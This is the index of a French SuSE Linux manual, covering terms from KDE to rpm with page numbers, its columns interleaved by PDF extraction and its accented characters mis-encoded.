CaractΘristiques . . . . . . . 274 Lecteur CD-ROM se bl_____oque . . DΘsinstallation . . . . . . .*
* . 130
Login . . . . . . . . . . . . . . . . 273 60 Disquette d'amorτage . 132
SystΦme d'aide . . . . . . . . 271 Lecteur de CD-ROM . . . . 519 Exemples de configurations
KDE Panel . . . . . . . . . . . . . 283 Installation . . . . . . . . . . . 100 134
KDEDIR . . . . . . . . . . . . . . . . 272 Port parallΦle voir MatΘriel, Installation . . . . . . . .*
* . . . 130
kdehelp . . . . . . . . 27, 271, 276 Port parallΦle ParamΦtres . . . . . . . . .*
* . . 367
kdm . . . . . . . 27, 109, 273, 408 se bloque . . . . . . . . . . . . . . 64 ProblΦmes . . . . . . . . . .*
* . . 137
KDM . 43, 109, 269~271, 273, 1024 cylindres . . . . . . . . *
*. 139
274 SupportΘ par Linux . . . . . 59 Diagnostic . . . . . . . . . . *
*. . . 138
Kernel Lecteur de CD-ROM bloquΘ . . Message de dΘmarrage . . 138
SΘlection du noyau SMP . . . 62 Noyau α partir de 2.0 . . . 141
104 Lecteur de disquette . . . . . 379 Suppression . . . . . . . . *
*. . 131
Kernel Module Loader . . . 361 Lecteur de disquettes . . . voir lilo.conf . . . . . . . . . . .*
* 123, 124
Kernel panic . . . . . . . . . . . . . 38 MatΘriel, Lecteur de
Kernel too big . . . . . . . . . . 363 disquettes Linus Torvalds . . 3, 6, 12, 519
kerneld . . . 360, 361, 453, 454 Lecteur LS120 . voir MatΘriel, linux . . . . . . . . . . . . . *
*. . . . . . 10
kerneld . . . . . . . . . . . . . . . . 361 Lecteur LS120 Linux . . . . . . . 4, 221, 519,*
* 526
kernmod . . 176, 302, 362, 413 Lecteur ZIP . . . . voir MatΘriel, DΘbuts . . . . . . . . . . . *
*. . . . 481
kernmods . . . . . . . . . . . . . . 413 Lecteur ZIP DΘsinstaller . . . . . . . . *
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knfsd . . . . . . . . . . . . . 411, 457 less . . . . 9, 173, 440, 489, 495 53, 57, 326, 405, 410,
korn . . . . . . . . . . . . . . . . . . . 276 lesstif . . . . . . . . . . . . . . . 282 425~433, 439
kpanel . . . . . . . . . . . . . 282, 329 Lettre de lecteur modifiΘe . 64 Linuxrc . . . . . . . . . . . . *
*. 62, 154
KPanel . . . . . . . . . . . . 275, 276 libc . . . . . . . . . . . . . . 359, 420 Liste de recherche . . . . . . .*
* 455
krpm . . . . . . . . . . . . . . . . . . . 421 libc5 . . . . . . . . . . . . . . . . . . . 438 (Θtablir)la liste des fax sΘrie
kvt . . . . . . . . . . . . . . . . . . . . . 190libcinfo . . . . . . . . . . . . . . 160 SuSEFax . . . . . . . . . . .*
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symbolique . . . . . . . . . . . 491 ln . . . . . . . . . . . . . . *
*. . . . . . . 491
L Lien symbolique . . . . . . . . 491 loadlin ii, v, 44, 45, 50~53, 62,
LAN . . . . . . . . . . 153, 239, 519 Ligne de commande . . . . . 519 63, 68, 117, 120, 140,
576
___________________________________________________________________________________________________________________________I*
*ndex__________________
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*. . . . . . 503
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Loadlin MΘmoire de masse . . . . . . 520 Menu . . . . . . . . . . . . . *
*. . . . . 521
ne dΘmarre pas . . . . . . . . . 63 MΘmoire de travail . . 496, 520 Menu de dΘmarrage . . . . . 143
ne fonctionne pas . . . . . . . 63 MacOS . . . . . . . . . . . . . . . . . 526 Menu principal . . . . . . . . .*
* . . 82
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425 makemap . . . . . . . . . . . . . . . 207 YaST . . . . . . . . . . . .*
* . . . . 100
Local Area Network voir LAN makewhat . . . . . . . . . . . . . . 414 mformat . . . . . . . . . . . . *
*. . . . 503
locale . . . . . . . . . . . . . . . . . . 452 makewhatis . . . . . . . . . . . . . 414 mgetty . . . . . . . . . . . . .*
* 211, 227
locate . . . . . . . . . . . . . . . . . . 461 man . . . . . . . . . . . . . . . . . . . . . . 9mgetty . . . . . . . . . . . . *
*211, 227
locate . . . . . . . . . . . . . . . . 461 Manpage . . . . . . . . . . . . . . . 520 Microsoft . . . . . . . . . . . *
*. . . . 230
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login . . . . . . . . . . . . . . 476, 541 Manuel . . . . . . . . . . . . . . . . . 494 548
Login . . voir KDE, login, 460 Manuel en ligne . . . . . . . . . 485 MIME . . . . . . . . . . . . . *
*. . . . 521
α distance . . . . . . . . . . . . 462 Manuels . . . . . . . . . . . . . . . . . . 9 minicom . . . . . . 190, 200, 4*
*09
PAM . . . . . . . . . . . . 411, 414 manyfaqs . . . . . . . . . . . . . . . . 9 Minicom . . . . . . . . . . . 19*
*0, 200
Shell de login . . . . . . . . . 413 masque rΘseau . . . . . . . . . . 156 minicom -s . . . . . . . *
*. . . . . 200
login : . . . . . . . . . . . . . . . . . . 482 Masque rΘseau . 156, 163, 478 Miro PC/TV . . . . . . . . . . .*
* . 315
Login : . . . . . . . . . . . . . . . . . . 41 Masquerading . . . . . . 201, 545 Mise α jour . . . . . . . . . . *
*. 6, 403
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* . . . . 19
logout . . . . . . . . . . . . . . . . . . 482 MatΘriel Mise en rΘseau . . . . . . . . .*
* . 153
logsurfer . . . . . . . . . . . . . . . 474 AGP . . . . . . . . . . . . . . . . . 293 MIT . . . . . . . . . . . . . .*
* . . . . . 239
Loopback . . . . . . . . . . . . . . 454 Cartes enfichables . . . . . 293 Mitsumi FX-001(D) 381, 390
lpc . . . . . . . . . . . . . . . . . . . . . 336 DifficultΘs . . . . . . . . . . . . . 64 Mitsumi, CD-ROM . 381, 390
lpd . . 335, 337, 339, 346, 458 incorporer . . . . . . . . . . . . 293 mke2fs . . . . . . . . . . . . .*
* . . . . . 64
lpq . . . . . . . . . . . . . . . . . . . . . 336 IrDA . . . . . . . . . . . voir IrDA mkfs . . . . . . . . . . . . . .*
* . . . . . 440
lpq . . . . . . . . . . . . . . . . . . . . 336 ISA . . . . . . . . . . . . . . . . . . 293 mknod . . . . . . . . . . . . .*
* . . . . 531
lpr . . . . . . . . . . . . 335, 340, 481 ISApnp . . . . . . . voir ISApnp mkswap . . . . . voir Partition *
*de
lpr -s . . . . . . . . . . . . . . . . . . . 335 Laptop . . . . . voir Notebook Swap, 440
lprm . . . . . . . . . . . . . . . . . . . 336 Lecteur de disquettes . . 309 mlabel . . . . . . . . . . . . *
*. . . . . 503
lprm . . . . . . . . . . . . . . . . . . . 336 Lecteur LS120 . . . . . . . . 309 mmd . . . . . . . . . . . . . . *
*. . . . . 503
lprold . . . . . . . 334, 346, 354 Lecteur ZIP . . . . . . . . . . . 309 ModΦle de document
lprsetp . . . . . . . . . . . . . . . 102 Lecteurs de bandes . . . . 313 PostScript
lprsetup . . . . . . . . . 341, 342 Modem . . . . . . . . . . . . . . 310 SuSEFax . . . . . . . . . . .*
* . . 220
lrpold . . . . . . . . . . . . . . . . 346 Modems externes . . . . . 310 Mode DOS . voir Windows 95
ls . . . . . . . . . . . . . . . . . 487, 534 Modems internes . . . . . . 310 Mode protΘgΘ . . . . . . . . . .*
* . . 63
ls . . . . . . . . . . . . . . . . . . . . . 487 Notebook . . . voir Notebook Modeline . . . . . . . . . . 26*
*0, 263
LSB voir Linux Standard Base PCI . . . . . . . . . . . . . . . . . . 293 Modem . . . . . . . . voir Inter*
*net,
lsmod . . . . . . . . . . . . . . . . . . 361 Plug-and-Play . . . . . . . . 449 configurer PPP, 453
LUN . . . . . . . . . . . . . . . . . . . 372 PlugAndPlay . . . . . . . . . 294 Bips sonores . . . . . . . . *
*. . 194
lx_suse . . . 10, 176, 302, 359 Port parallΦle . . . . . . . . . 307 Configuration . . . . . . . .*
* . 100
lxpoint . . . . . . . . . . . . . . . 412 Scanner . . . . . . . . . . . . . . 312 Connecter . . . . . . . . . *
*. . . 190
lynx . . . . . . . . . . . . . . . . . 8, 459 USB . . . . . . . . . . . . voir USB Modem cΓble . . . . . . . . . . *
*. 188
Winmodem . . . . . . . . . . . 311 Modify job parameter
M mattrib . . . . . . . . . . . . . . . . . 503 SuSEFax . . . . . . . . . . .*
* . . 216
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* . . 367
SuSEFax . . . . . . . . 214, 221 mc . . . . . . . . . . . . . . . . . 420, 548 modssl . . . . . . . . . . . . *
*. . . . 470
MΘmoire . . . . . . . . . . . . . . . 520 mcd . . . . . . . . . . . . . . . . . . . . 503 Module . . . . . . . . . . . . *
*. . . . 360
consommΘe . . . . . . . . . . . 547 mcopy . . . . . . . . . . . . . . . . . 503 Chargement . . . . . . . . .*
* . 430
taille non reconnue . . . . 371 mdel . . . . . . . . . . . . . . . . . . . 503 Manipulation . . . . . . . .*
* . 360
*
* 577
Index _________________________________________________________________________________________________________________*
*_______________________________________@
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Modules ncurses . . . . . . . . . . . 415, 442 Novell NE1000/2000 . . . . 388
compiler . . . . . . . . . . . . . 364 NE1000/2000 . . . . . . . . . . . 388 Novell NetWare . . . . . . . . .*
* 229
Modules du noyau NE2000 . . . . . . . . . . . . . . . . 383 Noyau . . . . . . . . 359, 522,*
* 542
Fichier de configuration 411 net_tool . . . . . . . . . . . . . . 354 Compilation . . . . . . . . *
*. . 359
modules.conf . . . . . . . . . . . 411 NetBEUI . . . . . . . . . . . . . . . 230 Configuration . . . . . . . .*
* . 362
modules.conf . . . . . . . . . voir NetBIOS . . . . . . . . . . . . . . . 230 DΘbogage . . . . . . . . . .*
* . . 452
/etc/modules.conf netcfg . . . . . . . . . . . . . . . . 354 Modules . . . . . . . . . . .*
* . . . 360
Moniteur . . . . . . . . . . . 253, 260 netpbm . . . . . . . . . . . . . . . . 340 ParamΦtres . . . . . . . . .*
* . . 367
Moniteur rΘseau netscape . . . . . . . . . . . . . . . . . . 8 Pilote d'imprimante . . . 398
Argus . . . . . . . . . . . . . . . . 460 Netscape . . . . . 67, 69, 70, 210 SΘlection du noyau SMP 38
Montage . . . . . . . . . . . . . . . 521 netstat . . . . . . . . . . . . . . . . . . 440 sig11 . . . . . . . . . . . .*
* . . . . . . 64
Montage automatique . . . . 457 NetWare voir Novell NetWare sig7 . . . . . . . . . . . . *
*. . . . . . . 64
more . . . . . . . . . . . . . . . . . . . 489 Network File System voir NFS Sysrq . . . . . . . . . . . *
*. . . . . 452
Mot de passe . . . . . . . . 24, 482 Network Information Service . nscd . . . . . . . . . . 161, 1*
*62, 411
Mot de passe root . . . . . . . voir voir NIS nscd.conf . . . . . . . . . . . *
*. . . . 161
Installation, mot de passe networks . . . . . . . . . . . . . . . 158 nsswitch.conf . . . . . . . . . *
*. . 160
root Neuhaus Triccy Data LCR 196 NumΘros de tΘlΘphone . . . 563
mount 167, 309, 440, 500, 523 News . . . . . . . . . . . . . . 171, 208
mountd . . . . . . . . . . . . 167, 169 Leafnode . . . . . . . . . . . . . 208 O
Mozart . . . . . . . . . . . . 381, 391 NeXTstep . . . . . . . . . . . . . . 500 olvwm . . . . . . . . . . . . .*
* . . . . 535
Mozart, CD-ROM . . 381, 390 NeXTSTEP . . . . . . . . . . . . . 267 Olvwm . . . . . . . . . . . . . *
*. . . . 267
mrd . . . . . . . . . . . . . . . . . . . . 503 NFS . . . . . . . . . . . . . . . 167, 521 olwm . . . . . . . . . . . . . *
*. . . . . 535
mread . . . . . . . . . . . . . . . . . . 503 DΘmon . . . . . . . . . . . . . . . 411 Omnibook . . . . . . . . . . . .*
* . . 380
mren . . . . . . . . . . . . . . . . . . . 503 DΘmon NFS du noyau . 457 OpenLook . . . . . . . . . . . .*
* . . 267
MS-Windows . . . . . . . . . . . 518 ID groupe . . . . . . . . . . . . 457 opso . . . . . . . . . . . . . *
*. 297, 412
msdos.sys . . . . . . . . . . . . . . 143 ID utilisateur . . . . . . . . . 457 opso_smp . . . . . . . . . 297,*
* 412
mt . . . . . . . . . . . . . . . . . . . . . 314 Installation depuis . . . . . . 85 opsod_smp . . . . . . . . . . . *
*. . 297
mtools . . . . . . . . . . . . . 501, 502 Serveur . . . . . . . . . . . . . . 456 opsod_upops.o.d.s.m.p. ......297,*
*.412.....297, 412
mtools . . . . . . . 309, 501, 503 nfsd . . . . . . . . . . . . . . . 167~169 Optics Storage, CD-ROM . . . .
mtype . . . . . . . . . . . . . . . . . . 503 nfsserv . . . . . . . . . . . . . . . 411 381, 391
Multiprocessing . . . . . . . . . 521 NI6510 . . . . . . . . . . . . . . . . . 388 Oracle . . . . . . . . . . . . .*
* . . . . . . . 3
Multisession, CD-ROM . . 390 NIS . . . . . . . . . . . . . . . . . . . . 165 Oracle 8 . . . . . . . . . . . .*
* . . . . . 69
MultitΓche . . . . . . . . . . . . . . 521 Niveau d'exΘcution OS/2 . . . . . . . . . . . . . *
*. 211, 526
Multiutilisateur . . . . . . . . . 521 changer . . . . . . . . . . . . . . 447 Amorτage . . . . . . . . . . *
*. . 136
mv . . . . . . . . . . . . . . . . . . . . . 490Niveaux d'exΘcution . . . . . 446 Boot . . . . . . . . . . . . *
*. . . . . 137
Mwm . . . . . . . . . . . . . . 282, 283 nkit . . . . . . . . . . . . . . . . . . . 420 Gestionnaire d'amorτage . . .
mwrite . . . . . . . . . . . . . . . . . 503 nkita . . . . . . . . 172, 354, 413 119
MySQL . . . . . . . . . . . . 413, 460 nkitb . . . . . . . . 172, 354, 413 OSS . . . . . . . . . . . . . .*
* . . . . . 412
nn . . . . . . . . . . . . . . . . . . . . . 210
N NNTP . . . . . . . . . . . . . . . . . . 458 P
Name Service Cache Daemon nntpd . . . . . . . . . . . . . . . . . . 458 PΘriode d'envoi de fax
161 nobody . . . . . . . . . . . . . . . . . 461 SuSEFax . . . . . . . . . . .*
* . . 217
Name Service Caching Nom de domaine . . . . . . . . 155 PΘriphΘrique . . . . . . . . . .*
* . . 522
Daemon Nom de machine . . . . . . . . 154 Page de garde de fax
Initialiser . . . . . . . . . . . . . 457 Notebook . . . . . . . . . . . . . . . 317 SuSEFax . . . . 217, 219, 220
Name Service Switch . . . . 160 IrDA . . . . . . . . . . . voir IrDA Page de man . . . . . 9, 494, 5*
*22
named . . . . . . . . . . . . . . . . . 457 PCMCIA . . . . . . . . . . . . . 453 Pages de man . . . . . . . . . .*
* . 443
ncpfs . . . . . . . . . . . . . . . . . . 108 Powermanagement . . . . voir Index . . . . . . . . . . . *
*. . . . . 414
NCR 5380 . . . . . . . . . 375, 384 APM paket.tgz . . . . . . . . . . .*
* . . . . . 73
NCR 53c400 . . . . . . . . . . . . 375 Thinkpad . . . . . . . . . . . . . . 62 PAM . . . . . . . . . . . . . .*
* 112, 411
NCR 53C400 . . . . . . . . . . . 384 Notification Scheme Mots de passe MD5 . . . 112
NCR 53c406a . . . . . . . . . . . 375 SuSEFax . . . . . . . . . . . . . 215 Panasonic CD-ROM . . . . . 392
578
___________________________________________________________________________________________________________________________I*
*ndex__________________
Panasonic, CD-ROM . . . . 382 inf2htm . . . . . . . . . . . . . 436 rman . . . . . . . . . . . . *
*. . . . . 435
panel . . . . . . . . . . . . . . . . . . . 282 inn . . . . . . . . . . . . . 208, 410 roxen . . . . . . . . . . . .*
* . . . . 415
paquetage irda . . . . . . . . . . . . . . . . . 330 roxenint . . . . . . . . . . *
*. . 415
3dpixm . . . . . . . . . . . . . . 285 isapnp . . . . . 294, 296, 299 roxenssl . . . . . . . . . . *
*. . 415
3dpixms . . . . . . . . . . . . . 285 isdn4linux . . . . . . . . . . 175 rpm . . . . . . . . . . . . .*
* . . . . . 420
aaa_base . . . . . . . . . . . . 413 jade_dsl . . . . . . . . . . . . 409 samba . . . . . . . . . . . 1*
*08, 413
apache . . . . . 415, 435, 470 john . . . . . . . . . . . . . . . . . 467 sane . . . . . . . . . . . . *
*. . . . . 312
apmd . . . . . . . . . . . . 328, 329 kernmod 176, 302, 362, 413 sax . . . . . . . . . . . . .*
* . . . . . 239
aps . . . . 334, 340, 342, 354 kernmods . . . . . . . . . . . . 413 scsiinfo . . . . . . . . . . *
*. . 312
autofs . . . . . . . . . . . . . . 457 knfsd . . . . . . . . . . . 411, 457 scslog . . . . . . . . . . .*
* . . . 474
bind . . . . . . . . . . . . 205, 480 latex-cover . . . . . . . . 220 sdb . . . . . . . . . . . . .*
* . . . . . 435
binutils . . . . . . . . . . . . 359 ldp . . . . . . . . . . . . . . . . . . 435 sdb_de . . . . . . . . . . .*
* . . . 435
books . . . . . . . . . . . . . . . . . 10 leafnode . . . 208, 209, 410 sdb_en . . . . . . . 8, 184,*
* 407
bttv . . . . . . . . . . . . . . . . . 315 lesstif . . . . . . . . . . . . . 282 secchk . . . . . . . . . . .*
* . . . 473
cdb . . . . . . . . . . . . . . 59, 244 libc . . . . . . . . . . . . 359, 420 secumod . . . . . . . . . . *
*. . . 474
changes . . . . . . . . . . . . . 415 libcinfo . . . . . . . . . . . . 160 sendfax . . . . . . . . . . *
*. . . 211
cnews . . . . . . . . . . . . . . . . 410 linux . . . . . . . . . . . . . . . . . 10 sendmail . . . . . . . 471, *
*480
colortbl . . . . . . . . . . . . 410 lprold . . . . . 334, 346, 354 shlibs5 . . . . . . . . . . *
*. . . 409
cron . . . . . . . . . . . . . . x, 442 lrpold . . . . . . . . . . . . . . 346 snd_au . . . . . . . . . . .*
* . . . 305
curses . . . . . . . . . . . . x, 442 lx_suse . 10, 176, 302, 359 snd_mod . . . . . . . . . . *
*. . . 305
dhclient . . . . . . . . . . . . 414 lxpoint . . . . . . . . . . . . . 412 snd_wav . . . . . . . . . . *
*. . . 305
dhcpcd . . . . . . . . . . . . . . 414 makewhat . . . . . . . . . . . . 414 so_fr . . . . . . . . . . . .*
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* . . . . . 305
docbkdsl . . . . . . . . . . . . 410 mgetty . . . . . . . . . . 211, 227 sp . . . . . . . . . . . . . *
*. . . . . . 409
dochost . . . . . . . . . 436, 437 modssl . . . . . . . . . . . . . . 470 squid . . . . . . . . . . . .*
* . . . . 414
emu10k1 . . . . . . . . . . . . . 305 mtools . . . . . 309, 501, 503 squid2 . . . . . . . . . . .*
* . . . 414
faxprint . . . . . . . . . . . . 221 ncpfs . . . . . . . . . . . . . . . . 108 ssh . . . . . . . . . 469, 47*
*6, 480
fhs . . . . . . . . . . . . . . . . . . 423 ncurses . . . . . . . . . 415, 442 susefax . . . . . . . . . 211*
*, 220
firewals . . . 202, 473, 476 net_tool . . . . . . . . . . . . 354 susehilf . . . 184, 228, 435
fr_howto . . . . . . . . . . . . . . 9 netcfg . . . . . . . . . . . . . . 354 susepak . . . . . . . . . . *
*. . . 435
ftpdir . . . . . . . . . . . . . . 423 netpbm . . . . . . . . . . . . . . 340 susewm . . . . . . . . . . .*
* . . . 282
g3utils . . . . . . . . . . . . . 211 nfsserv . . . . . . . . . . . . . 411 tcl . . . . . . . . . . . . .*
* . . . . . 363
gcc . . . . . . . . . . . . . . . . . . 359 nkit . . . . . . . . . . . . . . . . . 420 te_dvilj . . . . . . . . . . *
*. . 340
glibndev . . . . . . . . . . . . 411 nkita . . . . . . 172, 354, 413 tiff . . . . . . . . . . . . *
*. . . . . 216
glimpse . . . . . . . . . . . . . 412 nkitb . . . . . . 172, 354, 413 tk . . . . . . . . . . . . . *
*. . . . . . 363
gnlibsd . . . . . . . . . . . . . 411 opso . . . . . . . . . . . . 297, 412 toppp . . . . . . . . . . . .*
* . . . . 197
gnuhtml . . . . . . . . . . . . . 412 opso_smp . . . . . . . 297, 412 tripwire . . . 469, 472, 473
gs_x11 . . . . . . . . . . . . . . 216 opsod_smp . . . . . . . . . . . 297 uucp . . . . . . . . . . . .*
* . . x, 443
gsview . . . . . . . . . . . . . . . 10 opsod_up . . . . . . . 297, 412 wget . . . . . . . . . . . . *
*. . . . . 419
gtkndev . . . . . . . . . . . . . 411 opsodsmp . . . . . . . 297, 412 wuftpd . . . . . . . . . . .*
* . . . 412
gv . . . . . . . . . . . . . . . . 10, 216 pbm2l7k . . . . . . . . . . . . . 354 wvdial . . . . . . . . . . .*
* . . . 172
hardsuse . . . . . . . . . . . . 474 pcmcia . . . . . . . . . . 325, 326 x3dlabs . . . . . . . . . . *
*. . . 409
howto . . . . . . . . . . . . . . . . 330 PCMCIA . . . . . . . . . . . . . . 318 xcyrix . . . . . . . . . . .*
* . . . 409
howtodeh . . . . . . . . . . . . 435 pgp . . . . . . . . . . . . . . . . . . 480 xf86 . . . . . . . . . . . . *
*. . . . . 363
howtoen . . . . . . . . . . . . . . . 9 phpdoc . . . . . . . . . . . . . . 415 xformsd . . . . . . . . . . *
*. . . 411
howtoenh . . . . . . . . . . . . 435 plp . . . . . . . . . . . . . . . . . . 346 xfsetup . . . . . . . . . . *
*. . . 239
htdig . . . . . . . . . . . 436, 437 postfix . . . . . . . . . 413, 471 xglint . . . . . . . . . . 40*
*8, 409
hylafax . . . . . . . . . 211, 220 postgres . . . . . . . 404, 409 xinetd . . . . . . . . . . .*
* . . . 479
hyperref . . . . . . . . . . . . 410 ppa . . . . . . . . . . . . . . . . . . 354 xlpq . . . . . . . . . . . . *
*. . . . . 336
i4l . . . . . . . . . 108, 176, 450 ppp . . . . . . . . . . . . . . . . . . 172 xntp . . . . . . . . . . . . *
*. . . . . 459
i4ldoc . . . . . . . . . . 176, 184 ppp_nt . . . . . . . . . . . . . . 197 xsis . . . . . . . . . . . . *
*. . . . . 409
imlibdev . . . . . . . . . . . . 411 recode . . . . . . . . . . . . . . 341 xvga16 . . . . . . . . . . .*
* . . . 239
inetcfg . . . . 184, 197, 198 reiserfs . . . . . . . . . . . . . 91 ypclient . . . . . . . 107, *
*165
*
* 579
Index _________________________________________________________________________________________________________________*
*_______________________________________@
ypserv . . . . . . . . . . . . . . 167 pcmcia . . . . . . . . . . . . 325, 326 PΘriphΘrique gΘnΘrique
Paquetages PCMCIA . . . . . . 317, 406, 453 ATAPI . . . . . . . . . .*
* . . . 400
Compiler . . . . . . . . . . . . . 419 APM . . . . . . . . . . . . . . . . . 323 PΘriphΘrique IDE . . . . . 3*
*99
Configurations . . . . . . . . . 94 cardmgr . . . . . . . . . . . . . . 318 ParamΦtres du noyau . . 382,
Effacer . . . . . . . . . . . . . . . 100 Configuration . . . . . . . . . 318 398
Inclure . . . . . . . . . . . . . . . . 98 Ethernet . . . . . . . . . . . . . . 319 Pilotes de protocoles IDE . .
Index . . . . . . . . . . . . . . . . . 98 IDE . . . . . . . . . . . . . . . . . . 320 399
Installation . . . . . . . . . . . . 97 Installation . . . . . . . . . . . 326 portmap . . . 40, 106, 157, 167
Recherche . . . . . . . . . . . . . 98 ISDN . . . . . . . . . . . . . . . . 319 Portmapper . . . . . . . . . . .*
* . . 456
SΘlection . . . . . . . . . . . . . . 95 Logiciels . . . . . . . . . . . . . 318 postfix . . . . . . . . . . . . *
*. 205, 456
VΘrifier les dΘpendances 98 Modem . . . . . . . . . . . . . . 320 postfix . . . . . . . . . . . 41*
*3, 471
Parallelport Probleme . . . . . . . . . . . . . 323 Postfix . . . . . . . . . . . .*
* . . . . . 456
Architecture spΘcifique 398 Programmes utilitaires . 326 postgres . . . . . . . . . 404,*
* 409
ParamΦtres de job SchΘma . . . . . . . . . . . . . . 320 PostgreSQL . . . . . . . . 404, *
*409
SuSEFax . . . . . . . . . . . . . 215 SCSI . . . . . . . . . . . . . . . . . 320 ppa . . . . . . . . . . . . . . *
*. . . . . . 354
Pare-feu TokenRing . . . . . . . . . . . 319 ppp . . . . . . . . . . . . . . *
*. . . . . . 172
Application Level Firewalls PCMCIA . . . . . . . . . . . . . . . . 318 PPP . . . . . . . . . . . . . . *
*. . . . . . 171
478 pep . . . . . . . . . . . . . . . . . . . . . 69ppp-down . . . . . . . . . . .*
* . . . 199
Paride . . . . . . . . . . . . . . . . . . 399 perl . . . . . . . . . . . . . . . . . . 4, 461 ppp-up . . . . . . . . . . . . .*
* 198, 199
Partage . . . . . . . . . . . . . . . . . 230 Permissions . . . . . . . . . . . . . 461 ppp.chat . . . . . . . . . . . .*
* . . . . 198
Partition Permissions des fichiers . . 461 ppp_nt . . . . . . . . . . . . *
*. . . . 197
Formatage . . . . . . . . . . . . . 93 pg . . . . . . . . . . . . . . . . . . . . . 489pppd . . . . . . . . . . 171, 1*
*72, 198
Formater . . . . . . . . . . . . . . 77 pgp . . . . . . . . . . . . . . . . . . . . 480 PremiΦre installation . . . . . *
*. 15
Swap . . . . . . . . . . . . . . 70, 88 PGP . . . . . . . . . . . . . . . . . . . 515 ╚cran d'accueil . . . . . . *
*. . 28
Partition de swap . . . . . . 70, 88 Philips CM206 . . . . . 381, 391
CrΘer . . . . . . . . . . . . . . 77, 89 PHP . . . . . . . . . . . . . . . . . . . 415 MΘthode d'amorτage
Partition Magic . . . . . . . . . . 45 phpdoc . . . . . . . . . . . . . . . . 415 ultΘrieure . . . . . . . .*
* . . . . 44
Partition racine . . . . . . . . . . 371 Pilote d'imprimante . . . . . 398 Amorcer α partir du CD2 56
Partitionnement . . . . . . . . . 545 Pilotes d'impression . . . . . voir Conditions . . . . . . . . . *
*. . . . 28
AvancΘ . . . . . . . . . . . . . . . . 68 Filtres d'impression Configuration de base . . . 39
DΘbutants . . . . . . . . . . . . . 67 pine . . . . . . . . . . . . . . . . . . . . 210 Configuration du rΘseau . 40
Partitionner . . . . . . . . . . . 54, 88 ping . . . . . . . . . . . . . . . . . . . 472 Configurer les partitions . 75
le disque dur . . . . . . . . . . . 88 Pipe . . . . . . . . . . . . . . . . . . . 522 Copier des paquetages . . 46
Partitions Planter . . . . . . . . . . . . . . . . . 537 crΘer des disquettes
Θtendues . . . . . . . . . . . . . . . 89 PLIP d'amorτage avec Unix 58
logiques . . . . . . . . . . . . . . . 89 Port parallΦle voir MatΘriel, DΘmarrer YaST . . . . . . . *
*. 33
primaire . . . . . . . . . . . . . . . 89 Port parallΦle DΘterminer le mot de passe
SupplΘmentaires . . . . . . 546 plp . . . . . . . . . . . . . . . . . . . . . 346 root . . . . . . . . . . .*
* . . . . . . 41
Types . . . . . . . . . . . . . . . . . 67 plp . . . . . . . . . . . . . . . . . . . . 346 DΘterminer les points de
Partitions Θtendues . . . . . . . 89 PlugAndPlay . . . . . . . . . . . 294 montage . . . . . . . . . *
*. . . . 77
Partitions logiques . . . . . . . . 89 pnpdump . . . . . . . . . . 294~296 DΘterminer les systΦmes de
Partitions primaire . . . . . . . . 89 Point de montage . . . . 91, 522 fichiers . . . . . . . . .*
* . . . . . 77
Pas de clavier franτais en mode Pointer . . . . . . . . . . . . . . . . . 260 Descriptions de problΦmes .
MS-DOS . . . . . . . . . . . . 60 Pointeur souris . . . . . . . . . . 281 59
Pas de pilote de CD-ROM . 60 Polices . . . . . . . . . . . . . . . . . 279 Disquettes d'amorτage . . 57
Passerelle . . . . . . . . . . 156, 163 Port parallΦle . . voir MatΘriel, Formater le disque dur . . 77
2 cartes rΘseau . . . . . . . . 379 Port parallΦle Installer les logiciels . . .*
* . 37
passwd . . . . . . . . . . . . . . . . . 166 CD-ROM ATAPI . . . . . . 399 Installer les paquetages . 37,
PATH . . 6, 199, 270, 272, 475, Disque dur IDE . . . . . . . 399 42
484, 527 Lecteur de bandes ATAPI . . Installer loadlin . . . . . *
*. . . 52
Patrick Volkerding . . . . . . . . 12 400 linuxrc . . . . . . . . . . *
*. . . . . . 29
pbm2l7k . . . . . . . . . . . . . . . 354 Lecteur de disquettes ATAPI Login . . . . . . . . . . . *
*. . . . . . 43
PC . . . . . . . . . . . . . . . . . . . . . 522 399 Login : . . . . . . . . . . .*
* . . . . . 41
580
___________________________________________________________________________________________________________________________I*
*ndex__________________
MΘcanisme d'amorτage avec ps . . . . . . . . . . . . . . . . . . . . . 498rm . . . . . . . . . . . . . .*
* . . . . . . . 490
loadlin . . . . . . . . . . . . . 143 pstree . . . . . . . . . . . . . . . . 499 rman . . . . . . . . . . . . . .*
* . . . . . 435
MΘthodes d'amorτage . . 51 rmmod . . . . . . . . . . . . . *
*. . . . 360
Modem . . . . . . . . . . . . . . . . 41 Q RNIS . . . . . . . . . . . . . *
*. . . . . 525
Partitionner . . . . . . . . . . . . 54 qmail . . . . . . . . . . . . . . . . . . 205 ROM . . . . . . . . . . . . . .*
* . . . . 525
SΘlectionner des logiciels 36 Queue . voir File d'impression root . . . . . . . . . . . . . .*
* . . . . . . . 41
SΘlectionner la configuration Queueing agent Root . . . . . . . . . . . . . .*
* . . . . . 525
36 HylaFAX . . . . . . . . . . . . . 224 Se connecter α distance 462
SΘlectionner le noyau . . . 38 Routage
Se connecter . . . . . . . . . . . 43 R route.conf . . . . . . . . . *
*. 164
Sendmail . . . . . . . . . . . . . . 40 RΘduire la partition . . . . . . . 54 route . . . . . . . . . . . . . *
*. . . . . . 440
Setup . . . . . . . . . . . . . . . . . 50 RΘinitialisation . . . . . . . . . . 523 route.conf . . . . . . . . . . .*
* . 164
Situation de dΘpart . . . . . 28 RΘpertoire . . . . . . . . . . . . . . 523 routed . . . . . . . . . . . . .*
* . . . . . 457
Souris . . . . . . . . . . . . . . . . . 41 Changer . . . . . . . . . . . . . . 486 Routeur . . . . . . . . . . . .*
* . . . . 478
Windows 95 CrΘer . . . . . . . . . . . . . . . . 486 IP Forwarding . . . . . . . *
*. 455
Mode DOS . . . . . . . . . . . . . 50 Effacer . . . . . . . . . . . . . . . 486 roxen . . . . . . . . . . . . . *
*. . . . . 415
PremiΦre installation de Linux RΘpertoire personnel . . . . . 524 Roxen . . . . . . . . . . . . . *
*. . . . . 415
15 RΘpertoire racine . . . . . . . . 524 roxenint . . . . . . . . . . . .*
* . . 415
printcap . . . . . . . . . . . . . . . . 338 RΘseau . . . . . . . . . . . . 153, 524 roxenssl . . . . . . . . . . . .*
* . . 415
PRINTER . . . . . . . . . . . . . . . 335 Configuration . . . . . . . . . 156 RPC Portmapper . . . . . . . . 1*
*67
PrioritΘ des jobs YaST . . . . . . . . . . . . . . . . 106 rpc.mountd . . . . . . . . . 167*
*, 456
SuSEFax . . . . . . . . . . . . . 216 Dummy device . . . . . . . . 454 rpc.nfsd . . . . . . . 106, 167,*
* 456
Pro Audio Spectrum 372, 381 Fichiers de configuration . . . rpm . . 410, 414, 415, 419, 420
